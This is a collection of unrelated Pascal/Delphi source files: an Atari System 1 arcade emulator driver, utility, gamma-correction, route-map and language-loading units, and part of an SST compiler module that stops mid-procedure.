marcade.in0:=(marcade.in0 or 4); //SYSTEM if arcade_input.coin[0] then marcade.in2:=(marcade.in2 and $fe) else marcade.in2:=(marcade.in2 or 1); if arcade_input.coin[1] then marcade.in2:=(marcade.in2 and $fd) else marcade.in2:=(marcade.in2 or 2); end; end; procedure atari_sys1_principal; var frame_m,frame_s:single; h:byte; begin init_controls(false,false,false,true); frame_m:=m68000_0.tframes; frame_s:=m6502_0.tframes; while EmuStatus=EsRuning do begin for linea:=0 to 261 do begin //main for h:=1 to CPU_SYNC do begin m68000_0.run(frame_m); frame_m:=frame_m+m68000_0.tframes-m68000_0.contador; //sound m6502_0.run(frame_s); frame_s:=frame_s+m6502_0.tframes-m6502_0.contador; end; case linea of 239:begin update_video_atari_sys1; vblank:=$0; m68000_0.irq[4]:=ASSERT_LINE; end; 261:vblank:=$10; end; end; scroll_y:=scroll_y_latch; eventos_atari_sys1; video_sync; end; end; function atari_sys1_getword(direccion:dword):word; begin case direccion of 0..$7ffff:atari_sys1_getword:=rom[direccion shr 1]; $80000..$87fff:begin atari_sys1_getword:=slapstic_rom[rom_bank,(direccion and $1fff) shr 1]; rom_bank:=slapstic_0.slapstic_tweak((direccion and $7fff) shr 1); end; $2e0000:if m68000_0.irq[3]<>CLEAR_LINE then atari_sys1_getword:=$80 else atari_sys1_getword:=0; $400000..$401fff:atari_sys1_getword:=ram[(direccion and $1fff) shr 1]; $900000..$9fffff:atari_sys1_getword:=ram2[(direccion and $fffff) shr 1]; $a00000..$a03fff:atari_sys1_getword:=ram3[(direccion and $3fff) shr 1]; $b00000..$b007ff:atari_sys1_getword:=buffer_paleta[(direccion and $7ff) shr 1]; $f00000..$f00fff:atari_sys1_getword:=eeprom_ram[(direccion and $fff) shr 1]; $f20000..$f20007:atari_sys1_getword:=$ff; //trakball_r $f40000..$f4001f:atari_sys1_getword:=0; //Controles $f60000..$f60003:atari_sys1_getword:=marcade.in0 or vblank or ($80*(byte(sound_pending))); $fc0000:begin main_pending:=false; m68000_0.irq[6]:=CLEAR_LINE; atari_sys1_getword:=main_latch; end; end; end; procedure cambiar_color(tmp_color,numero:word); var color:tcolor; begin color.r:=pal4bit_i(tmp_color shr 8,tmp_color shr 12); color.g:=pal4bit_i(tmp_color shr 4,tmp_color shr 12); color.b:=pal4bit_i(tmp_color,tmp_color shr 12); set_pal_color(color,numero); if numero<$20 then buffer_color[(numero shr 2) and 7]:=true else buffer_color[$20+((numero shr 4) and $f)]:=true end; procedure atari_sys1_putword(direccion:dword;valor:word); var diff:word; begin case direccion of 0..$7ffff:; $80000..$87fff:rom_bank:=slapstic_0.slapstic_tweak((direccion and $7fff) shr 1); $400000..$401fff:ram[(direccion and $1fff) shr 1]:=valor; $800000:scroll_x:=valor; $820000:begin scroll_y_latch:=valor; if linea<240 then scroll_y:=valor-(linea+1) else scroll_y:=valor; end; $840000:; //atarisy1_priority_w $860000:begin //atarisy1_bankselect_w diff:=bankselect xor valor; // playfield bank select if (diff and $4)<>0 then begin playfield_tile_bank:=(valor shr 2) and 1; fillchar(gfx[1].buffer[0],$1000,1); end; if (diff and $80)<>0 then begin if (valor and $80)<>0 then m6502_0.change_reset(CLEAR_LINE) else m6502_0.change_reset(ASSERT_LINE); //if (valor and $80)<>0 then tcm5220.reset; end; atari_mo_0.set_bank((valor shr 3) and 7); //Revisar para Road runners!!!!! //update_timers(scanline); bankselect:=valor; end; $880000:; //watchdog $8a0000:m68000_0.irq[4]:=CLEAR_LINE; $8c0000:write_eeprom:=true; $900000..$9fffff:ram2[(direccion and $fffff) shr 1]:=valor; $a00000..$a01fff:if ram3[(direccion and $3fff) shr 1]<>valor then begin ram3[(direccion and $3fff) shr 1]:=valor; gfx[1].buffer[(direccion and $1fff) shr 1]:=true; end; $a02000..$a02fff:ram3[(direccion and $3fff) shr 1]:=valor; $a03000..$a03fff:if ram3[(direccion and $3fff) shr 1]<>valor then begin ram3[(direccion and $3fff) shr 1]:=valor; gfx[0].buffer[(direccion and $fff) shr 1]:=true; end; $b00000..$b007ff:if buffer_paleta[(direccion and $7ff) shr 1]<>valor then begin buffer_paleta[(direccion and $7ff) shr 1]:=valor; cambiar_color(valor,(direccion and $7ff) shr 1); end; $f00000..$f00fff:if write_eeprom then begin eeprom_ram[(direccion and $fff) shr 1]:=valor and $ff; write_eeprom:=false; end; $f40000..$f4001f:; //joystick_w $f80000,$fe0000:begin sound_latch:=valor; sound_pending:=true; m6502_0.change_nmi(ASSERT_LINE) end; end; end; function atari_sys1_snd_getbyte(direccion:word):byte; begin case direccion of 0..$fff,$4000..$ffff:atari_sys1_snd_getbyte:=mem_snd[direccion]; $1000..$100f:; //via6522_device, read $1801:atari_sys1_snd_getbyte:=ym2151_0.status; $1810:begin sound_pending:=false; m6502_0.change_nmi(CLEAR_LINE); atari_sys1_snd_getbyte:=sound_latch; end; $1820:atari_sys1_snd_getbyte:=marcade.in2 or ($8*byte(sound_pending)) or ($10*byte(main_pending)); $1870..$187f:pokey_0.read(direccion and $f); end; end; procedure atari_sys1_snd_putbyte(direccion:word;valor:byte); begin case direccion of 0..$fff:mem_snd[direccion]:=valor; $1000..$100f:; //via6522_device, write $1800:ym2151_0.reg(valor); $1801:ym2151_0.write(valor); $1810:begin main_latch:=valor; main_pending:=true; m68000_0.irq[6]:=ASSERT_LINE; end; $1824..$1825:; //led_w $1870..$187f:pokey_0.write(direccion and $f,valor); $4000..$ffff:; end; end; procedure atari_sys1_sound_update; begin ym2151_0.update; pokey_0.update; //tms5220_update end; procedure ym2151_snd_irq(irqstate:byte); begin m6502_0.change_irq(irqstate); end; //Main procedure reset_atari_sys1; begin m68000_0.reset; m6502_0.reset; YM2151_0.reset; pokey_0.reset; slapstic_0.reset; reset_audio; marcade.in0:=$ff6f; marcade.in1:=$ff; marcade.in2:=$87; scroll_x:=0; scroll_y:=0; rom_bank:=slapstic_0.current_bank; vblank:=$10; bankselect:=0; playfield_tile_bank:=0; write_eeprom:=false; sound_pending:=false; main_pending:=false; main_latch:=0; sound_latch:=0; end; function iniciar_atari_sys1:boolean; var memoria_temp:array[0..$3ffff] of byte; proms_temp:array[0..$3ff] of byte; f:dword; mem_temp,ptemp:pbyte; ptempw:pword; motable:array[0..$ff] of word; bank_gfx:array[0..2,0..7] of byte; const pc_x:array[0..7] of dword=(0, 1, 2, 3, 8, 9, 10, 11); pc_y:array[0..7] of dword=(0*16, 1*16, 2*16, 3*16, 4*16, 5*16, 6*16, 7*16); //Convertir los GFX del fondo y MO procedure convert_back(size_back:dword); var gfx_index,bank,color,offset,obj,i,bpp:byte; f:dword; const ps_x:array[0..7] of dword=(0, 1, 2, 3, 4, 5, 6, 7); ps_y:array[0..7] of dword=(0*8, 1*8, 2*8, 3*8, 4*8, 5*8, 6*8, 7*8); PROM2_PLANE_4_ENABLE=$10; PROM2_PLANE_5_ENABLE=$20; PROM1_OFFSET_MASK=$0f; PROM2_PF_COLOR_MASK=$0f; PROM2_MO_COLOR_MASK=$07; PROM1_BANK_1=$10; PROM1_BANK_2=$20; PROM1_BANK_3=$40; PROM1_BANK_4=$80; PROM2_BANK_5=$40; PROM2_BANK_6_OR_7=$80; PROM2_BANK_7=$08; function get_bank(prom1,prom2,bpp:byte;size_back:dword):byte; var bank_index:byte; srcdata:pbyte; begin // determine the bank index if ((prom1 and PROM1_BANK_1)=0) then bank_index:=1 else if ((prom1 and PROM1_BANK_2)=0) then bank_index:=2 else if ((prom1 and PROM1_BANK_3)=0) then bank_index:=3 else if ((prom1 and PROM1_BANK_4)=0) then bank_index:=4 else if ((prom2 and PROM2_BANK_5)=0) then bank_index:=5 else if ((prom2 and PROM2_BANK_6_OR_7)=0) then begin if ((prom2 and PROM2_BANK_7)=0) then bank_index:=7 else bank_index:=6; end else begin get_bank:=0; exit; end; // find the bank, si ya lo tengo, no hago nada me salgo if (bank_gfx[bpp-4][bank_index]<>0) then begin get_bank:=bank_gfx[bpp-4][bank_index]; exit; end; // if the bank is out of range, call it 0 if ($80000*(bank_index-1)>=size_back) then begin get_bank:=0; exit; end; // decode the graphics */ srcdata:=mem_temp; inc(srcdata,$80000*(bank_index-1)); init_gfx(gfx_index,8,8,$1000); gfx[gfx_index].trans[0]:=true; case bpp of 4:begin gfx_set_desc_data(4,0,8*8,3*8*$10000,2*8*$10000,1*8*$10000,0*8*$10000); convert_gfx(gfx_index,0,srcdata,@ps_x,@ps_y,false,false); end; 5:begin gfx_set_desc_data(5,0,8*8,4*8*$10000,3*8*$10000,2*8*$10000,1*8*$10000,0*8*$10000); convert_gfx(gfx_index,0,srcdata,@ps_x,@ps_y,false,false); end; 6:begin gfx_set_desc_data(6,0,8*8,5*8*$10000,4*8*$10000,3*8*$10000,2*8*$10000,1*8*$10000,0*8*$10000); convert_gfx(gfx_index,0,srcdata,@ps_x,@ps_y,false,false); end; end; // set the entry and return it bank_gfx[bpp-4][bank_index]:=gfx_index; bank_color_shift[gfx_index]:=bpp-3; get_bank:=gfx_index; gfx_index:=gfx_index+1; end; begin ptemp:=mem_temp; for f:=0 to (size_back-1) do begin ptemp^:=not(ptemp^); inc(ptemp); end; fillchar(bank_gfx,3*8,0); gfx_index:=1; for obj:=0 to 1 do begin for i:=0 to 255 do begin bpp:=4; if (proms_temp[$200+i+($100*obj)] and PROM2_PLANE_4_ENABLE)<>0 then bpp:=5 else if (proms_temp[$200+i+($100*obj)] and PROM2_PLANE_5_ENABLE)<>0 then bpp:=6; // determine the offset offset:=proms_temp[i+$100*obj] and PROM1_OFFSET_MASK; // determine the bank bank:=get_bank(proms_temp[i+($100*obj)],proms_temp[$200+i+($100*obj)],bpp,size_back); // set the value */ if (obj=0) then begin // playfield case color:=(not(proms_temp[$200+i+($100*obj)]) and PROM2_PF_COLOR_MASK) shr (bpp-4); if (bank=0) then begin bank:=1; offset:=0; color:=0; end; playfield_lookup[i]:=offset or (bank shl 8) or (color shl 12); end else begin // motion objects (high bit ignored) color:=(not(proms_temp[$200+i+($100*obj)]) and PROM2_MO_COLOR_MASK) shr (bpp-4); motable[i]:=offset or (bank shl 8) or (color shl 12); end; end; end; end; begin iniciar_atari_sys1:=false; llamadas_maquina.bucle_general:=atari_sys1_principal; llamadas_maquina.reset:=reset_atari_sys1; llamadas_maquina.fps_max:=59.922743; iniciar_audio(true); screen_init(1,512,256,true); screen_init(2,512,512); screen_mod_scroll(2,512,512,511,512,512,511); screen_init(3,512,512,false,true); iniciar_video(336,240); //cargar BIOS if not(roms_load16w(@rom,atari_sys1_bios)) then exit; //Main CPU m68000_0:=cpu_m68000.create(14318180 div 2,262*CPU_SYNC); m68000_0.change_ram16_calls(atari_sys1_getword,atari_sys1_putword); //Sound CPU m6502_0:=cpu_m6502.create(14318180 div 8,262*CPU_SYNC,TCPU_M6502); m6502_0.change_ram_calls(atari_sys1_snd_getbyte,atari_sys1_snd_putbyte); m6502_0.init_sound(atari_sys1_sound_update); //Sound Chips ym2151_0:=ym2151_chip.create(14318180 div 4); ym2151_0.change_irq_func(ym2151_snd_irq); pokey_0:=pokey_chip.create(14318180 div 8); //convertir chars if not(roms_load(@memoria_temp,atari_sys1_char)) then exit; init_gfx(0,8,8,$200); gfx[0].trans[0]:=true; gfx_set_desc_data(2,0,16*8,0,4); convert_gfx(0,0,@memoria_temp,@pc_x,@pc_y,false,false); //TMS5520 case main_vars.tipo_maquina of 244:begin //Peter Pack Rat if not(roms_load16w(@memoria_temp,peterpak_rom)) then exit; copymemory(@rom[$10000 shr 1],@memoria_temp[$0],$8000*3); //Slapstic slapstic_0:=slapstic_type.create(107,true); copymemory(@slapstic_rom[0,0],@memoria_temp[$20000],$2000); copymemory(@slapstic_rom[1,0],@memoria_temp[$22000],$2000); copymemory(@slapstic_rom[2,0],@memoria_temp[$24000],$2000); copymemory(@slapstic_rom[3,0],@memoria_temp[$26000],$2000); //cargar sonido if not(roms_load(@mem_snd,peterpak_sound)) then exit; //convertir fondo y mo getmem(mem_temp,$180000); fillchar(mem_temp^,$180000,$ff); if not(roms_load(@proms_temp,peterpak_proms)) then exit; if not(roms_load(mem_temp,peterpak_back)) then exit; convert_back($180000); freemem(mem_temp); end; 263:begin //Indiana Jones if not(roms_load16w(@memoria_temp,indy_rom)) then exit; copymemory(@rom[$10000 shr 1],@memoria_temp[$0],$8000*5); //Slapstic slapstic_0:=slapstic_type.create(105,true); copymemory(@slapstic_rom[0,0],@memoria_temp[$28000],$2000); copymemory(@slapstic_rom[1,0],@memoria_temp[$2a000],$2000); copymemory(@slapstic_rom[2,0],@memoria_temp[$2c000],$2000); copymemory(@slapstic_rom[3,0],@memoria_temp[$2e000],$2000); //cargar sonido if not(roms_load(@mem_snd,indy_sound)) then exit; //convertir fondo y mo getmem(mem_temp,$200000); fillchar(mem_temp^,$200000,$ff); if not(roms_load(@proms_temp,indy_proms)) then exit; if not(roms_load(mem_temp,indy_back)) then exit; convert_back($200000); freemem(mem_temp); end; 264:begin //Marble Madness if not(roms_load16w(@memoria_temp,marble_rom)) then exit; copymemory(@rom[$10000 shr 1],@memoria_temp[$0],$8000*4); //Slapstic slapstic_0:=slapstic_type.create(103,true); copymemory(@slapstic_rom[0,0],@memoria_temp[$20000],$2000); copymemory(@slapstic_rom[1,0],@memoria_temp[$22000],$2000); copymemory(@slapstic_rom[2,0],@memoria_temp[$24000],$2000); copymemory(@slapstic_rom[3,0],@memoria_temp[$26000],$2000); //cargar sonido if not(roms_load(@mem_snd,marble_sound)) then exit; //convertir fondo y mo getmem(mem_temp,$100000); fillchar(mem_temp^,$100000,$ff); if not(roms_load(@proms_temp,marble_proms)) then exit; if not(roms_load(mem_temp,marble_back)) then exit; convert_back($100000); freemem(mem_temp); end; end; //atari mo atari_mo_0:=tatari_mo.create(nil,@ram3[$2000 shr 1],atari_sys1_mo_config,3,336+8,240+8); ptempw:=atari_mo_0.get_codelookup; for f:=0 to $ffff do begin ptempw^:=(f and $ff) or ((motable[f shr 8] and $ff) shl 8); inc(ptempw); end; ptempw:=atari_mo_0.get_colorlookup; ptemp:=atari_mo_0.get_gfxlookup; for f:=0 to $ff do begin ptempw^:=((motable[f] shr 12) and $f) shl 1; inc(ptempw); ptemp^:=(motable[f] shr 8) and $f; inc(ptemp); end; //final reset_atari_sys1; iniciar_atari_sys1:=true; end; end.
unit Utils; interface uses Classes, SysUtils; type TLanguage = record System: record Charset: string; end; Links: record ThumbnailsHint: string; Index: string; Previous: string; Next: string; end; Titles: record MainPage: string; IndexNum: string; Index: string; Previous: string; Next: string; end; end; TPreset = record Directories: record Images: string; Output: string; end; Album: record Title: string; Description: string; MainPageURL: string; MainPageLink: string; MaxImageCount: Integer; end; Thumbnails: record Size: Integer; Indent: Integer; end; Index: record ColCount: Integer; RowCount: Integer; end; Misc: record ShowIndexLink: Boolean; CSSFileURL: string; end; end; TSettings = record LastState: record Language: string; Preset: string; end; end; const LineBreak: string = #10#13; Space: string = ' '; AllFileNamesMask: string = '*.*'; function ApplicationFileName: string; function SettingsFileName: string; procedure ListFileDir(FileList: TStrings; const Dir: string; const Mask: string; const GetExtension: Boolean); function DirectoryIsEmpty(const Dir: string): Boolean; procedure ClearDir(const Dir: string); function AddStr(const Str: string; const AdditionalStr: string; const DelimiterStr: string): string; implementation function ApplicationFileName: string; begin Result := ParamStr(0); end; function SettingsFileName: string; const SettingsFileExt: string = '.ini'; begin Result := ChangeFileExt(ParamStr(0), SettingsFileExt); end; procedure ListFileDir(FileList: TStrings; const Dir: string; const Mask: string; const GetExtension: Boolean); var SR: TSearchRec; begin if FindFirst(IncludeTrailingPathDelimiter(Dir) + Mask, faAnyFile, SR) = 0 then begin repeat if (SR.Attr and faDirectory) <> faDirectory then begin if GetExtension then begin FileList.Add(SR.Name); end else begin FileList.Add(ChangeFileExt(SR.Name, EmptyStr)); end; end; until FindNext(SR) <> 0; FindClose(SR); end; end; function DirectoryIsEmpty(const Dir: string): Boolean; const SelfDirName: string = '.'; UpperLevelDirName: string = '..'; AnyDirEntriesMask: string = '*.*'; var SR: TSearchRec; begin Result := True; if FindFirst(IncludeTrailingPathDelimiter(Dir) + AnyDirEntriesMask, faAnyFile, SR) = 0 then begin repeat if (SR.Name <> SelfDirName) and (SR.Name <> UpperLevelDirName) then begin Result := False; Break; end; until FindNext(SR) <> 0; FindClose(SR); end; end; procedure ClearDir(const Dir: string); const SelfDirName: string = '.'; UpperLevelDirName: string = '..'; AnyDirEntriesMask: string = '*.*'; var SR: TSearchRec; begin if FindFirst(IncludeTrailingPathDelimiter(Dir) + AnyDirEntriesMask, faAnyFile, SR) = 0 then begin repeat if ((SR.Attr and faDirectory) = faDirectory) then begin if (SR.Name <> SelfDirName) and (SR.Name <> UpperLevelDirName) then begin ClearDir(IncludeTrailingPathDelimiter(Dir) + SR.Name); RmDir(IncludeTrailingPathDelimiter(Dir) + SR.Name); end; end else begin DeleteFile(IncludeTrailingPathDelimiter(Dir) + SR.Name); end; until FindNext(SR) <> 0; FindClose(SR); end; end; function AddStr(const Str: string; const AdditionalStr: string; const DelimiterStr: string): string; begin if Str = EmptyStr then begin Result := AdditionalStr; end else begin Result := Str + DelimiterStr + AdditionalStr; end; end; end.
unit gamma_function; interface uses math,graphics,windows; type RGBColor=packed record case Integer of 0: (R: byte; G: byte; B: byte; pad: byte); 1: (Color: TColor); end; PRGBScanline = ^TRGBScanline; TRGBScanline=array [0..32767] of RGBColor; PColorScanline = ^TColorScanline; TColorScanline=array [0..32767] of TColor; function Real_from_monochrome (c: TColor): Real; function monochrome_from_Real (x: Real): TColor; function gamma(x: Real): Integer; function inverse_gamma(x: Integer): Real; function ColorFromReals(R,G,B: Real): TColor; var inverseGammaTable: Array [0..255] of Real; implementation var gamma_table: Array [0..3333] of Integer; //для преобр. числа от 0 до 1 (1 - макс интенсивность) в целое от 0 до 255 - яркость пиксела function gamma(x: Real): Integer; begin if x>0 then begin if x<=1 then begin Result:=gamma_table[Round(x/0.0003)]; end else Result:=255; end else Result:=0; end; function honest_gamma(x: Real): Integer; begin if x>0 then begin if x<=1 then begin if x>0.0031308 then Result:=Round(269.025*Exp(0.4166666667*Ln(x))-14.025) else Result:=Round(x*3294.6); end else Result:=255; end else Result:=0; end; function inverse_gamma(x: Integer): Real; begin if x<0 then REsult:=0 else if x>255 then Result:=1 else // assert(x>=0); // assert(x<=255); Result:=inverseGammaTable[x]; end; function honest_inverse_gamma(x: Integer): Real; begin assert(x>=0); assert(x<=255); if x<11 then Result:=x*0.000302341 else Result:=power((x/255+0.055)/1.055,2.4); end; function monochrome_from_Real (x:Real): TColor; var i: Integer; begin i:=gamma(x); result:=RGB(i,i,i); end; function real_from_monochrome (c: TColor): Real; var i: Integer; begin i:=RGBColor(c).G; result:=InverseGammaTable[i]; end; function ColorFromReals(R,G,B: Real): TColor; begin RGBColor(Result).R:=gamma(R); RGBColor(Result).G:=gamma(G); RGBColor(Result).B:=gamma(B); end; procedure ComputeTable; var i: Integer; begin for i:=0 to 3333 do gamma_table[i]:=honest_gamma(i*0.0003); for i:=0 to 255 do InverseGammaTable[i]:=honest_inverse_gamma(i); end; initialization ComputeTable; end.
unit UBuscaRotas; interface uses System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants, FMX.Types, FMX.Controls, FMX.Forms, FMX.Graphics, FMX.Dialogs, FMX.ListView.Types, FMX.ListView.Appearances, FMX.ListView.Adapters.Base, FMX.StdCtrls, FMX.ListView, FMX.Edit, FMX.Controls.Presentation, FMX.Layouts, FMX.Colors, Rest.Json, JSON, FMX.Maps, Math, FMX.ListBox, System.RTTI, FMX.Objects, FMX.Ani, System.Threading, ControleEspera, uFunctions, System.RegularExpressions, System.Generics.Collections, IdGlobal, FMX.Memo.Types, FMX.ScrollBox, FMX.Memo; type TF_BuscaRotas = class(TForm) ColorBox1: TColorBox; LayPrincipal: TLayout; ToolBar: TToolBar; lblRotas: TLabel; LayRotas: TLayout; StyleBook1: TStyleBook; layDetalhes: TLayout; btnVoltar: TSpeedButton; mDestinos: TMemo; lbRotas: TListBox; procedure btnVoltarClick(Sender: TObject); procedure lbRotasItemClick(const Sender: TCustomListBox; const Item: TListBoxItem); procedure mDestinosClick(Sender: TObject); private FPontosline: System.TArray<FMX.Maps.TMapCoordinate>; procedure ListarRotas; procedure DesenharRotaMapa(pContListagem: Integer); procedure PolylineDecoder(pPolylineCripto: string); procedure AddPontosLine(pIndexPontos: integer; pLat, pLong: Double); { Private declarations } public { Public declarations } procedure BuscarRotasPossiveis; end; var F_BuscaRotas: TF_BuscaRotas; implementation {$R *.fmx} uses UDM, UPrincipal, uMapa; procedure TF_BuscaRotas.BuscarRotasPossiveis; begin TControleEspera.Synchronize(nil, procedure var lDestino: string; begin lbRotas.Items.Clear; lDestino := TRota.Rota.ListaDestinos.Last.Destino; DM.ConfigPolylines(F_Principal.FOrigem, lDestino, TRota.Rota.GetParadas(TRota.Rota.ListaDestinos.Count)); ListarRotas; end); end; procedure TF_BuscaRotas.ListarRotas; var LItem: TListBoxItem; begin if DM.GetStatusRetorno('polilyne') then begin DM.GeraAtributoRota; mDestinos.Lines.Add(DM.FEstimativaRota); mDestinos.Lines.Add(''); mDestinos.Lines.Add(DM.FDescricaoRotas); LItem := TListBoxItem.Create(lbRotas); LItem.Height := 42; LItem.StyleLookup := 'LayoutRotas'; LItem.Text := DM.FEstimativaRota; LItem.StylesData['detail.tag'] := Integer(LItem); LItem.StylesData['detail.visible'] := true; LItem.StylesData['detail'] := DM.FDescricaoRotas; LItem.Tag := Integer(LItem); lbRotas.AddObject(LItem); end; end; procedure TF_BuscaRotas.mDestinosClick(Sender: TObject); begin Application.CreateForm(TF_GMaps, F_GMaps); DesenharRotaMapa(0); end; procedure TF_BuscaRotas.lbRotasItemClick(const Sender: TCustomListBox; const Item: TListBoxItem); begin Application.CreateForm(TF_GMaps, F_GMaps); DesenharRotaMapa(Item.Index); end; procedure TF_BuscaRotas.DesenharRotaMapa(pContListagem: Integer); var lDestino: string; begin FPontosline := System.TArray<FMX.Maps.TMapCoordinate>.Create(TMapCoordinate.Create(0,0)); lDestino := TRota.Rota.ListaDestinos.Last.Destino; DM.ConfigPolylines(F_Principal.FOrigem, lDestino, TRota.Rota.GetParadas(pContListagem)); if DM.getStatusRetorno('polilyne') then begin PolylineDecoder(DM.getPolilynes); TRota.Rota.AddPolyline(FPontosline); F_GMaps.Show; end; end; procedure TF_BuscaRotas.polylineDecoder(pPolylineCripto: String); var index, tamanho, result, shift, b, indexPontos: integer; lat, dlat, long, dlong, factor: Double; charac: char; begin factor := Math.Power(10, 5); indexPontos := 0; index := 0; tamanho := pPolylineCripto.length; lat := 0; long := 0; while (index < tamanho) do begin shift := 0; result := 0; while (True) do begin index := index + 1; charac := pPolylineCripto[index]; b := Ord(charac) - 63 ; result := result or (b and 31) shl shift; shift := shift + 5; if b < 32 then break; end; if (result and 1) <> 0 then dlat := not (result shr 1) else dlat := (result shr 1); lat := lat + dlat; shift := 0; result := 0; while (True) do begin index := index + 1; charac := pPolylineCripto[index]; b := Ord(charac) - 63 ; result := result or (b and 31) shl shift; shift := shift + 5; if (b < 32) then break; end; if (result and 1) <> 0 then dlong := not (result shr 1) else dlong := (result shr 1); long := long + dlong; AddPontosLine(indexPontos, (SimpleRoundTo(lat/factor, -5)), (SimpleRoundTo(long/factor, -5))); if indexPontos = 0 then TRota.Rota.AddCircle(SimpleRoundTo(lat/factor, -5), SimpleRoundTo(long/factor, -5)); inc(indexPontos); end; //TRota.Rota.AddMarca(SimpleRoundTo(lat/factor, -5), SimpleRoundTo(long/factor, -5), 'Destino'); end; procedure TF_BuscaRotas.AddPontosLine(pIndexPontos: integer; pLat, pLong: Double); begin SetLength(FPontosline, pIndexPontos+1); FPontosline[pIndexPontos] := TMapCoordinate.Create(pLat, pLong); end; procedure TF_BuscaRotas.btnVoltarClick(Sender: TObject); begin self.Close; end; end.
unit uLang; interface const LangMin = 1000; LangMax = 9999; type TLang = class(TObject) private FL: array [LangMin..LangMax] of string; function IsNum(S: string): Boolean; public //** Конструктор. constructor Create; //** Деструктор. destructor Destroy; override; procedure LoadFromFile(FileName: string); function Get(I: Word): string; procedure Clear; end; var Lang: TLang; implementation uses SysUtils, Classes; procedure TLang.Clear; var I: Word; begin for I := LangMin to LangMax do FL[I] := ''; end; function TLang.IsNum(S: string): Boolean; var I: Byte; begin Result := False; if (S = '') then Exit; for I := 1 to Length(S) do if not (S[I] in ['0'..'9']) then Exit; Result := True; end; constructor TLang.Create; begin Clear; end; destructor TLang.Destroy; begin inherited; end; function TLang.Get(I: Word): string; begin if (I >= LangMin) and (I <= LangMax) then Result := FL[I] else Result := ''; end; procedure TLang.LoadFromFile(FileName: string); var S: string; I, P, C: Word; FLang: TStringList; begin FLang := TStringList.Create; try Clear; FLang.LoadFromFile(FileName); for I := 0 to FLang.Count - 1 do begin FLang[I] := Trim(FLang[I]); if (FLang[I] = '') or (FLang[I][1] = ';') then Continue; P := Pos('=', FLang[I]); if (P = 0) then Continue; S := Trim(Copy(FLang[I], 1, P - 1)); if IsNum(S) then C := StrToInt(S) else Continue; S := Trim(Copy(FLang[I], P + 1, Length(FLang[I]))); P := Pos(';', S); if (P > 0) then S := Trim(Copy(S, 1, P - 1)); if (C >= LangMin) and (C <= LangMax) then FL[C] := S; end; finally FLang.Free; end; end; initialization Lang := TLang.Create; finalization Lang.Free; end.
{ Module of routines that generate comparison expressions. } module sst_r_syo_compare; define sst_r_syo_comp_var_int; define sst_r_syo_comp_var_sym; define sst_r_syo_set_mflag; %include 'sst_r_syo.ins.pas'; { ******************************************************* } procedure sst_r_syo_comp_var_int ( {create exp comparing var to integer constant} in sym1: sst_symbol_t; {variable for first term in comparison} in val: sys_int_machine_t; {integer value to compare against} in op: sst_op2_k_t; {comparison operator} out exp_p: sst_exp_p_t); {returned pointer to new expression} val_param; var term_p: sst_exp_term_p_t; {pointer to second term in expression} begin exp_p := sst_exp_make_var (sym1); {init expression with just variable} sst_mem_alloc_scope (sizeof(term_p^), term_p); {get mem for second term} exp_p^.term1.next_p := term_p; {link new term as second term in exp} term_p^.next_p := nil; {init term descriptor} term_p^.op2 := op; term_p^.op1 := sst_op1_none_k; term_p^.str_h.first_char.crange_p := nil; term_p^.str_h.first_char.ofs := 0; term_p^.str_h.last_char := term_p^.str_h.first_char; term_p^.rwflag := [sst_rwflag_read_k]; term_p^.ttype := sst_term_const_k; term_p^.dtype_p := sym_int_machine_t_p^.dtype_dtype_p; term_p^.dtype_hard := false; term_p^.val_eval := true; term_p^.val_fnd := true; term_p^.val.dtype := sst_dtype_int_k; term_p^.val.int_val := val; exp_p^.val_eval := false; {reset expression to not evaluated} sst_exp_eval (exp_p^, false); {re-evaluate compound expression} end; { ******************************************************* } procedure sst_r_syo_comp_var_sym ( {create exp comparing var to other symbol} in sym1: sst_symbol_t; {variable for first term in comparison} in sym2: sst_symbol_t; {symbol for second term in comparison} in op: sst_op2_k_t; {comparison operator} out exp_p: sst_exp_p_t); {returned pointer to new expression} val_param; const max_msg_parms = 1; {max parameters we can pass to a message} var term_p: sst_exp_term_p_t; {pointer to second term in expression} msg_parm: {parameter references for messages} array[1..max_msg_parms] of sys_parm_msg_t; begin exp_p := sst_exp_make_var (sym1); {init expression with just variable} sst_mem_alloc_scope (sizeof(term_p^), term_p); {get mem for second term} exp_p^.term1.next_p := term_p; {link new term as second term in exp} term_p^.next_p := nil; {init term descriptor} term_p^.op2 := op; term_p^.op1 := sst_op1_none_k; term_p^.str_h.first_char := sym2.char_h; term_p^.str_h.last_char := sym2.char_h; term_p^.val_eval := false; term_p^.val_fnd := false; term_p^.rwflag := [sst_rwflag_read_k]; case sym2.symtype of sst_symtype_const_k: begin {symbol 2 is a mnemonic constant} term_p^.ttype := sst_term_const_k; term_p^.dtype_p := sym2.const_exp_p^.dtype_p; term_p^.dtype_hard := sym2.const_exp_p^.dtype_hard; term_p^.val_eval := true; term_p^.val_fnd := true; term_p^.val := sym2.const_exp_p^.val; end; sst_symtype_enum_k: begin {symbol 2 is enumerated constant} term_p^.ttype := sst_term_const_k; term_p^.dtype_p := sym2.enum_dtype_p; term_p^.dtype_hard := true; term_p^.val_eval := true; term_p^.val_fnd := true; term_p^.val.dtype := sst_dtype_enum_k; term_p^.val.enum_p := addr(sym2); end; otherwise sys_msg_parm_int (msg_parm[1], ord(sym2.symtype)); sys_message_bomb ('sst', 'symbol_type_unknown', msg_parm, 1); end; exp_p^.val_eval := false; {reset expression to not evaluated} sst_exp_eval (exp_p^, false); {re-evaluate compound expression} end; { ******************************************************* * * Subroutine SST_R_SYO_SET_MFLAG (SYM1, SYM2, OP, USE_ERR, SYM_MFLAG) * * Create opcodes that set the MFLAG variable to either YES or NO, * depending on the result of a comparison. SYM1 is a variable used for * the first term of the comparision, and SYM2 is a symbol used for the * second term of the comparision. OP indicates the comparision operator. * If USE_ERR is TRUE, then the whole comparison will always be TRUE when * the ERROR flag is set. The MFLAG variable is set to YES when the * comparison is TRUE, NO otherwise. } procedure sst_r_syo_set_mflag ( {set MFLAG YES if comparison TRUE, else NO} in sym1: sst_symbol_t; {variable for first term in comparison} in sym2: sst_symbol_t; {symbol for second term in comparison} in op: sst_op2_k_t; {comparison operator} in use_err: boolean; {TRUE if OR error flag to comparison} in sym_mflag: sst_symbol_t); {handle to MFLAG symbol} val_param; var exp_p: sst_exp_p_t; {pointer to simple comparison expression} expe_p: sst_exp_p_t; {pointer to expression with error flag} term_p: sst_exp_term_p_t; {pointer to error flag expression term} var_p: sst_var_p_t; {pointer to variable descriptor for ERROR} begin sst_opcode_new; {create opcode for IF statement} sst_opc_p^.opcode := sst_opc_if_k; sst_r_syo_comp_var_sym ( {make raw comparison expression} sym1, sym2, {the symbols to compare} op, {the comparison operator} exp_p); 